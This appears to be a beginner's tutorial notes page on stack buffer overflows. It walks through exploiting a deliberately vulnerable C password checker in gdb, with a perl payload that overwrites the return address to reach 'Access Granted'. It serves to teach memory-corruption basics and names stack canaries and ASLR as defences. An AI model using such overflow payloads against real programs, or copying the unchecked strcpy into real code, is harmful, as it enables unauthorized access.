0x300 Exploitation
Lots of exploits have to do with memory corruption (buffer overflows and whatnot). Other common errors that may allow for exploitation is thing like off by one errors.
The goal of memory corruption is to force the program to execute foreign code smuggled into memory (Arbitrary Code Execution).
char arr1[4], arr2[4]; //these two arrays are adjacent in memory
arr1[4]="1"; //would set the char "1" into arr2 and would not cause a crash
strcpy(arr1,"123456"); //arr2 now holds "56"
We’re going to walkthrough a overflow of the following simple C program. You should load the program into
gdb if you want to follow along. Use gdb ./auth_overflow
.
int check_authentication(char *password){
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
printf("auth_flag location: %p contents: %d\n", &auth_flag, auth_flag);
printf("password_buffer location: %p contents: %s\n", password_buffer, password_buffer);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]){
if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])){
printf("\n------------------------------\n");
printf(" Access Granted! ");
printf("\n------------------------------\n");
} else {
printf("\n------------------------------\n");
printf(" Access Denied -_- ");
printf("\n------------------------------\n");
}
}
The idea is that the input to the program is not length checked and it is eventually written to
char password_buffer[16];
We can use this fact to overwrite the return address for the check_authentication()
function and cause control to skip to the access granted portion of the code.
Remember this is an exploit from the 90’s and these days there is a thing called a canary, that is a set value that sits between stack frames, that prevents obvious abuses like this. If you want to try the exploit in gdb you must compile with -fno-stack-protector
.
You also have to keep in mind that ASLR is a thing so this would be harder to do outside of gdb https://en.wikipedia.org/wiki/Address_space_layout_randomization.
Overwriting mains stack frame
When a function is called the current context or “frame” of that function is pushed to the stack. The stack frame contains the local variables of the function, the return address (where execution moves to after a control is returned from a called function) and the functions arguments.
compile and load the program into gdb to get started
gcc auth_overflow.c -o auth_overflow -Wall -Wextra -pedantic -std=c17 -g -fno-stack-protector
gdb ./auth_overflow
If you disassemble main
you can see the relevant instructions, and their locations in memory.
0x0000000000001402 <+79>: call 0x1209 <check_authentication> // this is the call to the check_authentication function
0x0000000000001407 <+84>: test eax,eax // control would normally return to the instruction right
0x0000000000001409 <+86>: je 0x143f <main+140> // after the function call
0x000000000000140b <+88>: lea rax,[rip+0xc7e] # 0x2090
0x0000000000001412 <+95>: mov rdi,rax
0x0000000000001415 <+98>: call 0x10c0 <puts@plt>
0x000000000000141a <+103>: lea rax,[rip+0xc8f] # 0x20b0
0x0000000000001421 <+110>: mov rdi,rax
0x0000000000001424 <+113>: mov eax,0x0
0x0000000000001429 <+118>: call 0x10e0 <printf@plt>
0x000000000000142e <+123>: lea rax,[rip+0xc5b] # 0x2090
This is the instruction we want to move execution to.
0x000000000000140b <+88>: lea rax,[rip+0xc7e] # 0x2090
You should set breakpoints at strcpy(password_buffer, password);
and return *auth_flag;
Once the program is loaded into the memory the actual instruction address is
0x555555555407 <main+84>: test eax,eax
If we step forward to our first breakpoint we can see the contents of the stack.
rsp in check_authentication
= 0x7fffffffde10
We can also see where our buffer starts in memory
(gdb) x/x password_buffer
0x7fffffffde30: 0x0000000000000000
using x/30xg $rsp
we can see the contents of the stack
0x7fffffffde10: 0x0000000800000001 0x00007fffffffe2e0
0x7fffffffde20: 0x0000000000000000 0x0000000000000000
0x7fffffffde30: 0x0000000000000000 0x0000000000000000 //buffer starts here
0x7fffffffde40: 0x0000000000000000 0x0000000000000000
0x7fffffffde50: 0x00007fffffffde70 0x0000555555555407 //expected return address is here
0x7fffffffde60: 0x00007fffffffdf98 0x0000000200000001
0x7fffffffde70: 0x0000000000000002 0x00007ffff7daffd0
0x7fffffffde80: 0x0000555555554040 0x00005555555553b3
0x7fffffffde90: 0x0000000200000000 0x00007fffffffdf98
0x7fffffffdea0: 0x0000000000000000 0xf0e0fbc6da39aa0c
0x7fffffffdeb0: 0x00007fffffffdf98 0x00005555555553b3
0x7fffffffdec0: 0x0000000000000000 0x00007ffff7ffbc40
0x7fffffffded0: 0x0f1f0439673daa0c 0x0f1f14732535aa0c
0x7fffffffdee0: 0x00007fff00000000 0x0000000000000000
0x7fffffffdef0: 0x0000000000000000 0x0000000000000000
0x7fffffffdf00: 0x0000000000000000 0xdcfac294e9f8b000
So we need 8*6=48bytes total so 40bytes then the address of the target instruction
0x0000555555555402 <+79>: call 0x555555555209 <check_authentication>
0x0000555555555407 <+84>: test eax,eax
0x0000555555555409 <+86>: je 0x55555555543f <main+140>
0x000055555555540b <+88>: lea rax,[rip+0xc7e] # 0x555555556090 //target address is this instruction
We can use perl to generate a payload to give as input to the program. Remember we need 40 bytes of padding then the 8 byte address.
$(perl -e 'print "a"x40 . "\x0b\x54\x55\x55\x55\x55\x00\x00"')
Unfortunately at this point I had to reload the program so thanks to ASLR the addresses of things in memory are slightly different, however same basic process applies, and the distance of things in memory doesn’t change.
Exploitation
Disassembly of main
0x00005555555553bf <+79>: call 0x5555555551e9 <check_authentication>
0x00005555555553c4 <+84>: test eax,eax
0x00005555555553c6 <+86>: je 0x5555555553fc <main+140>
0x00005555555553c8 <+88>: lea rax,[rip+0xcc1] # 0x555555556090 //this is our target
0x00005555555553cf <+95>: mov rdi,rax
Again set breakpoints at strcpy(password_buffer, password);
and return *auth_flag;
With the program loaded in gdb we can use run $(perl -e 'print "a"x40 . "\xc8\x53\x55\x55\x55\x55\x00\x00"')
to attempt the exploit.
Step to first break point and observe contents of stack within check auth function.
(gdb) x/16xg $rsp
0x7fffffffde20: 0x0000000000000000 0x00007fffffffe2dd
0x7fffffffde30: 0x0000000000000000 0x0000000000000000 //password_buffer starts here
0x7fffffffde40: 0x0000000000000000 0x0000000000000000
0x7fffffffde50: 0x00007fffffffde70 0x00005555555553c4 //need to overwrite this
0x7fffffffde60: 0x00007fffffffdf98 0x0000000200000001
0x7fffffffde70: 0x0000000000000002 0x00007ffff7daffd0
0x7fffffffde80: 0x0000555555554040 0x0000555555555370
0x7fffffffde90: 0x0000000200000000 0x00007fffffffdf98
Stepping to our second breakpoint we can see the overwrite.
(gdb) x/50xg $rsp
0x7fffffffddf0: 0x0000000000000000 0x00007fffffffe2bd
0x7fffffffde00: 0x6161616161616161 0x6161616161616161 //loaded with 'a'
0x7fffffffde10: 0x6161616161616161 0x6161616161616161
0x7fffffffde20: 0x6161616161616161 0x00005555555553c8 //used to end in c4
And we can see execution moves to the desired location and access granted is printed to the screen
//we hit the breakpoint on the sucessful branch
78 printf("\n------------------------------\n");
(gdb) n
------------------------------
79 printf(" Access Granted! ");
(gdb) n
80 printf("\n------------------------------\n");
(gdb) n
Access Granted!
------------------------------
And thats the exploit! Very old, very beginner level. I feel like modern security makes this almost impossible, but I’m sure people could find ways around ASLR to still comprimise the program if the vulnerability exists.